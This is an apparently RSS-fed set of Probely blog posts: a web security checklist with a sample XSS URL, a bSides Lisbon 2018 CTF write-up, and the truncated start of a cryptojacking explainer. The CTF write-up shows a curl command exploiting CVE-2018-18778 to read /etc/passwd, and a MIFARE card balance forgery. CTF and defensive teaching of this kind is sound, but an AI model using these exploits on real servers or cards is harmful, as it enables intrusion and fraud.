            <content:encoded><![CDATA[<p>Recently, we created a <a href="https://github.com/Probely/security_checklist">checklist</a>, a Web Application Security Checklist for developers. Why?</p><p>Well, because we want to help developers avoid introducing vulnerabilities in the first place. And for that, the security development process should start with training and creating awareness. Searching for vulnerabilities with a web scanner is essential, but we should always try to make security <em>shift left</em>, i.e. place it at the beginning of the development lifecycle. It is an investment: instead of being <strong>reactive</strong>, invest in <strong>prevention</strong>.</p><p>So, to start with a checklist seems like a good idea. They are incredible tools: they are concise, easy to read and give you actionable items.</p><p>We tried to make sure ours meets those requirements.</p><p>Another advantage of a checklist like this is that it can be printed in a postcard format and <a href="https://github.com/Probely/security_checklist">distributed</a> to your developers. Maybe they notice it laying around on their desk and, from time to time, they take a look at it and check if all items are accounted for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pBLrabi6BmFbL5q0112Pg.png" /><figcaption>The Probely Web Application Security Checklist for Developers</figcaption></figure><p>We also published it on <a href="https://github.com/Probely/security_checklist">GitHub</a>, making it easier for you to keep track of updates.</p><h4>What to include?</h4><p>The choice of including an item or not in the checklist is debatable. We are sure we left important stuff out, but the list is a dynamic thing, and it will improve over time.</p><p>Our checklist is organized in two parts. The first one, <strong>General security</strong>, applies to almost any web application. <a href="https://blog.probely.com/web-application-security-checklist-ee0479bf60c6#76e3">The second one</a> is more relevant if your application has custom-built login support, and you are not using a third-party login service, like <a href="https://auth0.com/">Auth0</a> or <a href="https://aws.amazon.com/cognito/">Cognito</a>.</p><p>We will try to explain the reasoning behind each item on the list. You might notice that some items are in the list because the underlying vulnerability is really dangerous, like SQL injection. Others are not that common but are usually easy to exploit, and their impact is likely very high. Some others may not pose an immediate danger, but are frequently seen in the wild, and contribute negatively to your security posture image.</p><h4>General security</h4><p><em>1. I use prepared statements in SQL queries</em></p><p>SQL injections occupy the first place of <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection">OWASP Top 10</a> for a good reason: they are relatively common, easy to exploit and the impact is high. That is why we put it in the first place too.</p><p>Nowadays, you might not even see SQL in your code: it is all hidden underneath a nice ORM, that we hope it uses prepared statements. But if you find yourself building SQL, ensure you use your programming language’s functions to bind the input to the right part of the query. These functions usually have <em>bind </em>in their name and use the character ? (question mark) as a placeholder for your input/variables.</p><p><em>2. I do not concatenate any other input data to SQL queries other than the bound parameters</em></p><p>Do not build SQL queries by concatenating strings, particularly strings that contain user-controlled input. The only safe place to use strings that include user input is in the bound parameters, which will then replace the ?<em> </em>in the query.<br>This item is distinct from the previous one: you might be using prepared statements, but that does not protect you if you still concatenate input with the parts of the query that do not have bound parameters, such as the order by clauses, in MySQL.</p><p>SQL injections are really dangerous, so we included two items about them.</p><p><em>3. I validate all input data server-side</em></p><p>Input from the user <strong>must</strong> be validated at least server-side to prevent attacks where the client-side validation, if any, is bypassed. Web applications frequently have JavaScript code that prevents the user from entering unexpected values but that code can easily be disabled within the browser itself, without any special tool.<br>Users can also directly modify any value in the URL and virtually any part of the HTTP request. Validations on the server are the only line of defense that the user cannot disable or easily bypass.</p><p>Validating only at the client-side is a common mistake. The consequences are context dependent: imagine a shopping cart where the price is a hidden parameter on the page and the attacker changes it to a tenth of the price. Or to zero.</p><p><em>4. I encode all input data before sending the response to the browser</em></p><p><a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">Cross-site scripting</a>, or XSS, occurs when a malicious input is echoed back to the browser by the server, without being correctly encoded. What this means is that if I visit the following URL</p><blockquote>https://example.com?greeting=Victim&lt;script&gt;alert(27)&lt;/script&gt;</blockquote><p>and the greeting parameter value is placed in the response <em>verbatim</em>, the JavaScript in there will likely execute and deliver the “attack”. In the most common scenario, the server would have to encode the tag delimiters with HTML entities. The right encoding will depend on where the input is placed in the web page.</p><p>XSS is in the seventh place in the OWASP Top 10, due to their prevalence: “<a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)">found in around two thirds of all applications</a>”. A lot of languages and frameworks have templating systems that make it harder to introduce XSS, but they are still pretty common.</p><p><em>5. I have disabled directory listing in the web server</em></p><p>Have you seen pages like these before?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLo_61ZtnNTmzImP0WDQSw.png" /><figcaption>Server directory listing example</figcaption></figure><p>Directory listing is a web server feature that lists directory contents in a ‘browsable’ way. It is also known as Indexes. Enabled by default in some web servers, it helps the attacker find available files for him to investigate without the need to guess their path. It will also help search engines index the content that should not be exposed, making it available through a well-crafted search.</p><p>Despite being very easy to disable with a single configuration line, it is frequently enabled on many servers. It is important to ensure such a basic attack is not possible, thus the reason for the inclusion in our list.</p><p><em>6. I include a CSRF token in requests that change state (or I use the SameSite cookie attribute for the session cookie)</em></p><p>CSRF, short for <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)">Cross-Site Request Forgery</a> has been removed from the latest OWASP Top 10 because CSRF defenses are now included in many frameworks, making it a less frequent problem. We have space for more than 10 items, and CSRF consequences can be devastating, so we decided to include it. The impact is application dependent, but if you imagine an attacker accessing your account and acting as it pleases, you get a glimpse of what it can do.</p><p>A recent cookie attribute, SameSite, further helps to mitigate CSRF by preventing the affected cookie from being included in requests triggered by a third-party site, a pre-condition for any CSRF attack. This is a much simpler solution than building a CSRF defense, so it is perfect for applications not using a framework, and as an extra-safeguard for the ones using a framework that has the defenses built-in.</p><p><em>7. I do not show errors with stack traces, source code, full paths or any other internal data.</em></p><p>Verbose errors are a widespread problem that hackers love. Security professionals also like them, but only when wearing a tester hat. They can give a wide array of details about the internals of the application: which functions are being used, source code excerpts, and even configurations or secrets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SU9pCSobka1nUMGfWH0i6Q.png" /><figcaption>I love seeing a var_dump() in a site</figcaption></figure><p>The application should be configured to not output any error or debug like this to the client.</p><p><em>8. I verify the content type of uploaded files and delete the bad ones.</em></p><p>Allowing users to upload files to your web application can be a dangerous feature. We are accepting a file which is completely controlled by the user and (normally) stored on your filesystem next to your application files. And you need to serve the file back to the user(s).</p><p>One attack starts by uploading a file with some malware inside. If you publicly serve this file from your domain, you can have the domain blocked by <a href="https://safebrowsing.google.com/">Google Safe Browsing</a>, effectively causing a Denial-of-Service. Another attack involves executing code contained in the uploaded file, possibly running arbitrary code in your server, or in a victims browser context.</p><p>You should always verify the content of uploaded files. At the minimum, verify the file magic numbers, that identify their content type. Ideally, you should also scan the file for malware, with <a href="https://www.virustotal.com/">VirusTotal</a>.</p><p><em>9. If I handle XML files, I have disabled external entity and DTD processing</em></p><p>XML content can contain references to external entities, which are fetched and replaced during XML parsing, like a variable pointing to a file, for instance. A well-crafted input that reaches an insecure XML parser might be able to read files from the server and exfiltrate their contents to a server controlled by the attacker. This vulnerability is called <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)">XML External Entity</a> (XXE) and was added to the OWASP Top 10 in 2017. Despite being recent in the top 10, these vulnerabilities are not new. But they are not trivial to find and explore in a classical blackbox testing approach, so it is better to play it safe and disable external entity and DTD processing when building/using the XML parsing library.</p><p><em>10. I use HTTPS and I send the Strict-Transport-Security header</em></p><p>Using HTTPS is now a widespread practice, but some sites still insist in being <em>démodé</em> by using insecure cleartext communications, subject to malicious eyes and hands. A lot of initiatives are accelerating HTTPS adoption, such as browsers warning users when the visited site has no HTTPS. Despite that, some resist or have it badly configured, for instance, lacking a redirect from HTTP to HTTPS, to ensure the user won’t inadvertently continue browsing without the communications being encrypted.</p><p>The HTTP Strict Transport Security header, or HSTS, solves the missing redirect problem, while providing some more useful security features. Despite being a header, trivial to configure, a lot of sites still don’t use it. It needs to be omnipresent to ensure that unencrypted communications are never seen again.</p><p><em>11. I only accept TLS 1.2 or higher</em></p><p>You might have HTTPS enabled, but is it properly configured? Currently, we recommend TLS 1.2 and TLS 1.3 only. All other versions have vulnerabilities that can be used to compromise your connections, or have a fragile design that leaves many security researchers uncomfortable. Unless your website has to cater to very old devices, there is little reason not to use <a href="https://blog.probely.com/how-to-deploy-modern-tls-in-2018-1b9a9cafc454">modern TLS</a> configurations.</p><p>Support for TLS 1.2 is pretty widespread. Unfortunately, older versions of SSL and TLS are still being supported also, likely for compatibility with older devices. Modern web browsers are usually secure, since they try to use higher versions of TLS, and most browsers auto-update themselves.</p><p><em>12. I set the Secure, HttpOnly and SameSite=lax attributes in session cookies</em></p><p>You are not immediately vulnerable to an attack if you do not have these attributes in your session cookies. These attributes were designed to prevent some attacks and reduce their strength/impact. But do not underestimate their importance! Having them set, particularly in session cookies, will protect you in case you have other vulnerabilities, like missing CSRF protection or content being requested in HTTP in an HTTPS site (mixed content).</p><p>Setting them is easy, the benefits are great, but we still find a lot of web applications without them.</p><p><em>13. I set the Secure attribute in all other cookies, and if possible HttpOnly also</em></p><p>The previous item was focused on session cookies, i.e. the ones that can replace your username and password after the initial login step. Ideally, the previous recommendations should be applied to every cookie, as some of them may contain sensitive data, such as other tokens or private information from the user.</p><p>Setting theSecure attribute should come with no side-effects, since your site supports HTTPS, right? On the other hand, it might not be possible to set HttpOnly on all cookies, as many of them are likely used by JavaScript to set some user preference, such as the site language.</p><p>We decided to split the “cookie attributes” recommendations into two items because we want to emphasize how important it is to protect your session cookies.</p><p><em>14. All 3rd-party JavaScript libraries that my app uses, are updated to the latest version</em></p><p><a href="https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities">Using Components with Known Vulnerabilities</a> has been in the OWASP Top 10 for some time now, and we don’t think it’s going away anytime soon. Reliance on third-party libraries will likely increase, as more of them will be available to ease the programmer’s work. The biggest problem is maintenance: libraries are often created by someone who had a problem to solve, fixed it, and doesn’t really want to provide updates forever. Unless the developer is being paid to do this, or has a team helping her, which is rare.</p><p>Eventually, someone will find a vulnerability in a library you use, and you will need to update it. Are updates available? Does the update break your site? Keep this in mind during the lifetime of the application. You can minimize potential issues with third-party libraries by keeping up with recent versions and testing them often. If possible, use a well-maintained library, with a good community. Easier said than done though.</p><h4><strong><em>I have a login feature and cannot use an already existent service:</em></strong></h4><p>You want to support different accounts in your application. For that, you need an authentication system, a login process. At a glance, it might seem easy to implement: it is just about getting the username and password, and checking if they match against credentials stored in a database, right? Not really.</p><p>There are many things you need to implement to ensure that the process is safe. It’s best to just use a proven third-party authentication provider, or an existing authentication framework.</p><p>For third-party services, we recommend using (in no particular order) OAuth from Google, Auth0, or Incognito from AWS, just to name a few.</p><p>If you cannot use third-party authentication services, we suggest you use the authentication/authorization features provided by your web application development framework. Since it is such a common requirement, frameworks usually have authentication built-in, which is more likely to have been audited. If not, sometimes a popular, well-maintained, authentication module is available. Try to use that, if possible.</p><p><em>1. I store passwords using a strong cryptographic function (scrypt, argon2, bcrypt, or PBKDF2)</em></p><p>Here be dragons.</p><p>Do not store passwords in cleartext. Do not store passwords hashed with algorithms like <em>MD5</em>, <em>SHA2</em> or <em>SHA3</em>. Even if using a per-user salt. It is not enough. Generic cryptographic hashing algorithms are built to be fast. Password-hashing algorithms are built to be <strong>as slow as users can tolerate</strong>.</p><p>Sadly, we continue to see news about sites that were breached, and thousands or millions of plaintext passwords were leaked, along with other data. Sometimes, affected sites say “don’t worry: we store only password hashes”. That means very little, unfortunately.</p><p>If you really must store credentials, make them go through appropriate password-hashing functions like <a href="https://latacora.micro.blog/2018/04/03/cryptographic-right-answers.html"><em>scrypt, argon2, bcrypt, </em>or<em> PBKDF2</em></a><em>. </em>These will make the process of obtaining your passwords harder, and will protect your users in case your database is compromised.</p><p>In <strong>addition</strong> to this, you can also use a <a href="https://en.wikipedia.org/wiki/Pepper_(cryptography)">pepper</a>. A pepper is a secret that you use to provide an additional security layer to your passwords. One common strategy is to use <a href="https://en.wikipedia.org/wiki/HMAC">HMAC-SHA256</a> on the result of the password-hashing function with a secret (pepper) that only your service knows. <strong>Do not store the pepper on the database</strong>, as a SQL injection would allow an attacker to extract it and render the scheme useless. Store the pepper in a configuration file, for example.</p><p><em>2. I ask for the current password to set a new password, email or any other information used in the password reset process</em></p><p>Asking for the current password before doing any of these changes may prevent other attacks, such as those conveyed through session hijacking, either through an XSS or because someone left the computer unlocked. It also prevents a CSRF to those features in case you don’t have any CSRF specific protection.<br>An email change (login) mechanism vulnerable to CSRF, that does not ask for the current password, is a huge risk: the victim can completely lose access to its own account, possibly forever, unless there is human intervention, or an additional account recovery mechanism.</p><p><em>3. I only accept passwords longer than 12 chars and reject common passwords (top 1000)</em></p><p>Having to remember a lot of passwords is something that people do not like, so they use the same short and memorable password (almost) everywhere. Passwords such as <em>qwerty</em>, <em>password </em>and <em>iloveyou</em> have the above characteristics, and <strong>all of them are bad</strong>. <br>It is trivial for an attacker to grab a list of the top 100 most used passwords and try them with your email. Even if your password is not in that list, but it is short enough, it might still be possible to brute-force it, trying all passwords starting with the minimum number of characters the site allows, until your 6 character password is found.<br>Most people will continue to pick bad passwords if they are allowed to do so. It is up to site owners to enforce rules that prevent that, such as a minimum of 12 chars and rejecting passwords that are too common, <em>i.e.</em> too guessable.</p><p>Much can be said about this topic. <a href="https://pages.nist.gov/800-63-3/sp800-63b.html">NIST Special Publication 800–63B</a> provides a ton of great insight. Please check it before defining a password policy.</p><p><em>4. I support multi-factor authentication</em></p><p>Multi-factor authentication, sometimes referred just as 2FA — two-factor authentication, requires the user to provide some other credential when authenticating, in addition to the username and password pair. Frequently, this 2FA is a code obtained through an SMS or an OTP generator. If possible, <a href="https://krebsonsecurity.com/2018/08/reddit-breach-highlights-limits-of-sms-based-authentication/">avoid SMS</a>.</p><p>Providing multi-factor authentication to your users improves their protection against credential theft through database leaks, phishing (if using <a href="https://en.wikipedia.org/wiki/Universal_2nd_Factor">U2F</a>), keyloggers, and other attacks. 2FA gives you, the site owner, much-improved sleep: in the unfortunate event that your user database is breached, and user passwords are cracked, an attacker won’t be able to log in into those accounts, without the second authentication factor. <em>Unless</em> you are storing multi-factor secrets in the database in cleartext. Remember to encrypt them, or store them elsewhere :)</p><p>Multi-factor authentication is now seen as a requirement for some categories of sites, such as social media, sites that have a lot of personal data, or B2B web applications. If you have questions about which 2FA method to provide, choose <a href="https://en.wikipedia.org/wiki/Universal_2nd_Factor">U2F</a> (best), <a href="https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm">TOTP</a>, or SMS (<a href="https://krebsonsecurity.com/2018/08/reddit-breach-highlights-limits-of-sms-based-authentication/">try to avoid it</a>), in that order.</p><p><em>5. I limit the number of attempts to endpoints such as login, password reset and 2FA validation</em></p><p>Allowing short and well-known passwords while allowing an unlimited number of login attempts is asking for trouble. Limiting the number of attempts that can be made to the authentication related endpoints is critical to ensure your users are safe. Even if, for some reason, you have users with weak passwords, having limits will raise the bar for the attacker, hopefully, high enough for them to quit.</p><p>The implementation details and the number of rules can increase dramatically for higher-risk sites, but for most of them it would be enough to start with limiting the number of attempts per IP address.</p><p><em>6. I use the language libraries to create and validate JSON Web Tokens (JWT)</em></p><p><a href="https://jwt.io/">JWT</a> usage in on the rise, as a mechanism to authenticate and authorize users in web applications. JWT have a simple structure so a programmer might be tempted to create and validate them <em>by hand</em>, with their own code. Some libraries can do that for you, without the risk of introducing a vulnerability when validating the token. Just look up which JWT libraries are available in your language and pick one that’s actively maintained.</p><p><em>7. I destroy the session server-side and invalidate the matching JSON Web Token (JWT) when the user logs out</em></p><p>It is surprisingly frequent for sites to not destroy the session <strong>server-side </strong>after the user asks for a logout. The risk is not very high since it will likely require physical access to the victim&#39;s computer. Another attack vector begins with session hijacking (for instance with an XSS) which is then very hard to deal with since a logout by the victim will not kill the stolen session.</p><p>In addition, to destroy the session in the server, you must also invalidate any JWT that you have associated with that session, or else it can be used instead of cookies to make requests.</p><p><em>8. I destroy the password reset token after it is used and after a pre-defined time</em></p><p>When you trigger a password reset process, you will likely receive an email with a unique URL. You click it and you can set the new password for your account. This makes that URL really important: whoever gets hold of it can define the password for your account and lock you out.</p><p>To reduce the risk, that URL should be valid for a short period. Once used, it must be invalidated. Fortunately, this is a common behavior, and it is not common to see an application that does otherwise but it is yet something more you must take into consideration when developing your own login functionality.</p><h3>Next version?</h3><p>We challenge the reader to provide insights on what we should include or remove in the next update.</p><p>We intend to update this checklist periodically, at least once or twice in the year as technologies and vulnerabilities change. Or if any mistake is found :)</p><p>If by any chance you meet us in a security event, ask us for a few copies, we always travel with a bunch of them, and your developers will appreciate the “swag”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee0479bf60c6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/web-application-security-checklist-ee0479bf60c6">Web Application Security Checklist</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[bSides Lisbon Capture The Flag Write-up]]></title>
            <link>https://medium.com/probely/bsides-lisbon-capture-the-flag-write-up-243afd321bae?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/243afd321bae</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bsides]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Wed, 05 Dec 2018 10:51:58 GMT</pubDate>
            <atom:updated>2018-12-06T11:12:50.498Z</atom:updated>
            <content:encoded><![CDATA[<p>Just like <a href="https://blog.probely.com/bsides-lisbon-capture-the-flag-write-up-99495fa14a23">last year</a>, we participated in the bSides Lisbon <a href="https://bsideslisbon.org/ctf/">Capture The Flag</a> security competition that took place a few days ago. The conference itself was excellent, with a diverse and very interesting presentation schedule.</p><p>bSides Lisbon was a two-day event, with the Capture The Flag(CTF) competition taking place on the first day, in parallel with the workshops. This year the teams were limited to 4 members, but the number of teams was the same, 10. Participation in the CTF was conditioned to those who did the qualifiers challenges and scored a place in the top 10.</p><p>We won the last two CTFs so we decided to apply the same recipe from last year, having <a href="https://medium.com/u/3a57ec64a601">Cláudio Gamboa</a> again in our team.</p><p>3.5 hours later and this is how our dashboard looked like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*82gvadhW9BDx73iHz0nqTQ.png" /><figcaption>Some of those 100&#39;s were more like a 1000 :)</figcaption></figure><p>Challenges in black are the ones not solved (by our team), and the ones that nobody solved will likely show up in next year qualifiers, with some twist. Please note that not all challenges are shown in this image.</p><p>We will only explain the challenges we solved but we have to recognize the organization effort to have challenges that included very recent vulnerabilities, like Pwnable 100 with the CVE-2018–10933, aka SSH2_MSG_USERAUTH_SUCCESS.</p><h3>Trivia</h3><h4>Router (100)</h4><p><strong>My router is high on drugs.</strong></p><p>The answer was the <a href="https://www.krackattacks.com/">KRACK</a>, the vanity name of the attack that affects WPA2.</p><h4>Bug (200)</h4><p><strong>Whats the vulnerability?</strong></p><p>We were given a file, which contents were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*fZmHfE3npTogtxIQvRFCjA.png" /><figcaption>Trivia 200 challenge</figcaption></figure><p>We (one of us) immediately recognized this as serialized Python so we wild guessed it should be related to the Python pickle library, <a href="https://github.com/Probely/CTF-Challenges/tree/master/Pwnable/100-HighwayDisplay">used frequently</a> in CTFs. After a few attempts, we found the right answer: deserialization.</p><h4>Say My Name (300)</h4><p><strong>What’s rfp real name?</strong></p><p>After submitting at least one Request For Proposal attempt (reminiscents from a corporate past..), we started googling for rfp in the hope something would show up. Quicky <a href="https://web.archive.org/web/20120105001011/http://www.pcworld.com/article/63944/three_minutes_with_rain_forest_puppy.html">Rain Forest Puppy</a> showed up which ringed the bell. Another google search and we got the answer: Jeff Forristal.</p><h3>Web</h3><h4>Site (100)</h4><p><strong>We found bSidesLisbon 2018 development server at </strong><a href="http://37.252.121.198:8080/"><strong>http://37.252.121.198:8080/</strong></a><strong><br>For some reason the site was not rendering.</strong></p><p>When accessing the given URL, you would be presented with a 404 error page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*GgZPTUtGpzDpbFI-aZ5Wfg.png" /></figure><p>Following the <a href="https://acme.com/software/mini_httpd/">bottom URL</a> you could see that version 1.30 (one release after the one being used) fixed a CVE that allowed users to read arbitrary files:</p><blockquote>New in version 1.30:</blockquote><blockquote>Enlarge request read buffer.<br>Fix security bug that let remote users read arbitrary files. (HuJin@topsec alpha_lab as CVE-2018–18778)</blockquote><p>Reading about the CVE you could see that you only need to send an empty Host header and you could get any file, thus getting the flag:</p><blockquote><strong>$ curl -H “Host: “ </strong><a href="http://37.252.121.198:8080/etc/passwd"><strong>http://37.252.121.198:8080/etc/passwd</strong></a><strong><br></strong>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false<br>systemd-timesquare:x:100:103:<strong>flag{such_mini_code_much_critical_exploit}</strong>,,,:/run/systemd:/bin/false<br>systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false<br>systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false<br>systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false</blockquote><h3>Physical</h3><h4>Baby No Hertz Me (100)</h4><p><strong>There is a rumor of a number station out there.<br>Note: 2 teams can be solving this in parallel.</strong></p><p>On this first physical challenge we didn’t receive any instructions, only a radio. After some careful tuning (on 107.70 FM), you would hear a some music and a <strong>lot</strong> of <a href="https://en.wikipedia.org/wiki/Numbers_station">numbers</a> after that. We had to hear it 3 times to make sure that we got the right sequence, which was:</p><blockquote>90109120104905111611497874910297696612288504965907057121817182112984957122975010811598727857</blockquote><p>It looked like decimal ascii representation, so, we split it into:</p><blockquote>90 109 120 104 90 51 116 114 97 87 49 102 97 69 66 122 88 50 49 65 90 70 57 121 81 71 82 112 98 49 57 122 97 50 108 115 98 72 78 57</blockquote><p>It decoded as <strong>ZmxhZ3traW1faEBzX21AZF9yQGRpb19za2lsbHN9</strong> that was base64 of <strong>flag{kim_h@s_m@d_r@dio_skills}</strong>.</p><p>This was the final classification, with us scoring a third place, and xSTF winning, followed by Mutiny. Congrats xSTF and Mutiny teams!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RdR06uE-AMDXzq1nI02wsw.png" /></figure><p>Again, the bSides Lisbon team gave us another great CTF, with well-designed challenges that forced us to think and learn. And because they explain how the challenges can be solved in the conference final session, there is an extra chance to learn.</p><p>Obrigado bSides Lisbon!</p><p>ps: on the second day of the event we were told that there was an <strong>unhackable wallet</strong> on the event:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lv9-wySU_jqtZrJ_nRsu4w.jpeg" /></figure><p>With our event access card we could check if we were <strong>ELITE</strong>, but every time we checked we would lose 500 bslxCoins (all participants started with 10000).</p><p>Using the <a href="https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool">MIFARE Classic Tool</a> on an Android phone we tried to read the card, and got 3 sectors easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aIAXDogGztW5BzzXwVT7UQ.png" /><figcaption>Data on the first read (left) and after checking one time if we are elite (right)</figcaption></figure><p>With this comparison we can see that only the sector 1 had changed after using the card. We can see the initial 10000 coins, and the resulting 9500, and below the value some gibberish that also changed. Using a proper diff tool, we can see what changed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQah4j1SJMb9zHDWurisKA.png" /></figure><p>We can see the ascii representation of the value changing on block 1, and something that seems like some kind of hash on block 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*YDXn5wK48AGWCnZf0Wcocw.png" /></figure><p>After noticing that it was a small hash, we thought of crc32 right away, and went to check if it matched the values that we saw. It did :)</p><p>So because there were a few hints about being <strong>ELITE</strong>, we guessed that we had to change our value to 31337. We calculated the right crc32 for the value (2cf3179), and wrote it to the card after cracking the writing key (it was 010203040506).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cOqRpcFGWvflT7O-U5iDQ.png" /></figure><p>And then went to check our wallet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mno7GnAbpUGaXZmE3DBKFQ.jpeg" /><figcaption>Yay, we are ELITE.</figcaption></figure><p>This was a really cool side challenge, props again to the bSides Lisbon team.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=243afd321bae" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/bsides-lisbon-capture-the-flag-write-up-243afd321bae">bSides Lisbon Capture The Flag Write-up</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is cryptojacking? How to detect, fix and prevent it.]]></title>
            <link>https://medium.com/probely/what-is-cryptojacking-how-to-detect-fix-and-prevent-it-d5b206970c16?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/d5b206970c16</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Mon, 22 Oct 2018 11:55:10 GMT</pubDate>
            <atom:updated>2019-04-29T11:30:21.497Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is cryptojacking?</h3><p>You know Carjacking? The unfortunate situation when someone steals your car while you are waiting for a traffic light to turn green, and then uses it to rob a convenience store? Cryptojacking is the digital version of it — it’s when the hacker steals your computer’s resources and uses them to harvest cryptocurrency.</p><p>Cryptocurrencies such as Bitcoin or Monero are obtained through mining, a CPU intensive operation that consists of hashing (a cryptographic primitive). Mining is only a viable business if the cost of the computing power and electricity required to operate and cool down your systems is significantly lower than the monetary gain you get from mining. So, if you’re mining through someone else’s computers, you won’t have any costs and you’ll get all the profit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkyazEggFL9poQ7kvLs2gg.jpeg" /><figcaption>Bitcoin is just one of the cryptocurrencies hackers mine. Photo by <a href="https://unsplash.com/@silverhousehd">Andre Francois</a></figcaption></figure><p>To get the free ride, hackers modify websites and online ads to include JavaScript code that runs in the browser of anyone that is viewing the website or the ad. And that JavaScript mines for cryptocurrency while the unsuspecting victim continues browsing the web. Now the hacker is using the computing power from every visitor of your website, dutifully mining cryptocurrency for him/her. For free.</p><p>There is a second method that hackers use to deliver cryptojacking attacks: convincing the victim to install malicious code on their computer, using what looks like a legitimate email or popup that calls for some action. However, it is harder to achieve a scale effect this way since you would need to infect a large number of computers.</p><h4>One attack, multiple victims</h4><p>There are two types of victims when a site is abused for cryptojacking: the person viewing the modified site and the site owner.</p><p>Victims that browse a website that includes JavaScript mining code will only notice a decrease in the performance of their computer. Most victims will just think they hit another “website that makes my computer slow”. If the victim is browsing on a mobile phone, then the CPU usage increase will come with the extra cost of draining the battery faster.</p><p>But the biggest victim of cryptojacking is the website owner: the hacker was only able to place the malicious code because he/she found and exploited a vulnerability on the website. <strong>This means that the website has been hacked</strong>.</p><p>Having a mining script there is the least of problems: what if that vulnerability was also <strong>exploited to get customer data</strong>? With the new regulations like GDPR, there is a lot of pressure for companies to protect their customer data. And the consequences of not doing so could be fatal for your business.</p><h3>How to detect cryptojacking code on your site?</h3><p>Cryptocurrency mining requires periodically contacting a server to both get new hashes and send calculated hashes to a wallet. Therefore, looking for evidence of those communications is an excellent way to detect the malicious code hosted in your server. This technique has the advantage of being agnostic to what the malicious code looks like, however, it requires a prior identification of the servers known to be used by the mining code.</p><p>Most of the domains are widely known, such as <a href="https://coinhive.com/">Coinhive</a>. They provide an easy way for anyone to deploy Monero mining code, with a hassle-free setup. Monero has the advantage of giving more privacy guarantees to the attacker than Bitcoin. Coinhive advertises themselves as a service that can provide income to a site owner, for instance, by replacing ads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q4FG_wW09KgQpMygk9IIxA.png" /><figcaption>Coinhive code example from <a href="http://coinhive.com/">coinhive.com</a></figcaption></figure><p>You should have your site continuously monitored for evidence of malicious code. <a href="https://share.probely.com/wal">Probely</a> can help you here 